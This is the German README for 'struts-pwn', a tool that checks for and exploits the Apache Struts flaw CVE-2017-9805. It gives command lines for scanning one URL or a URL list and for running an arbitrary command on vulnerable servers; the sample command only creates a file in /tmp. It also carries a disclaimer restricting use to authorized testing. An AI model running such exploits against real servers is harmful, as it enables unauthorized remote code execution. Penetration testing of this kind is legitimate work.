struts-pwn - CVE-2017-9805 Exploit

Ein Exploit für Apache Struts CVE-2017-9805

Verwendung

Überprüfen, ob die Schwachstelle gegen eine einzelne URL existiert.

python struts-pwn.py --url 'http://example.com/struts2-rest-showcase/orders/3'

Überprüfen, ob die Schwachstelle gegen eine Liste von URLs existiert.

python struts-pwn.py --list 'urls.txt'

Ausnutzen einer einzelnen URL.

python struts-pwn.py --exploit --url 'http://example.com/struts2-rest-showcase/orders/3' -c 'touch /tmp/struts-pwn'

Ausnutzen einer Liste von URLs.

python struts-pwn.py --exploit --list 'urls.txt' -c 'touch /tmp/struts-pwn'

Demo

Anforderungen

• Python2 oder Python3
• requests

Rechtlicher Haftungsausschluss

Dieses Projekt dient ausschließlich zu Bildungs- und ethischen Testzwecken. Die Verwendung von struts-pwn zum Angriff auf Ziele ohne vorherige gegenseitige Zustimmung ist illegal. Es liegt in der Verantwortung des Endbenutzers, alle geltenden lokalen, staatlichen und Bundesgesetze einzuhalten. Die Entwickler übernehmen keine Haftung und sind nicht verantwortlich für Missbrauch oder Schäden, die durch dieses Programm verursacht werden.

Lizenz

Das Projekt ist unter der MIT-Lizenz lizenziert.

Autor

Mazin Ahmed

• Website: https://mazinahmed.net
• E-Mail: mazin AT mazinahmed DOT net
• Twitter: https://twitter.com/mazen160
• LinkedIn: http://linkedin.com/in/infosecmazinahmed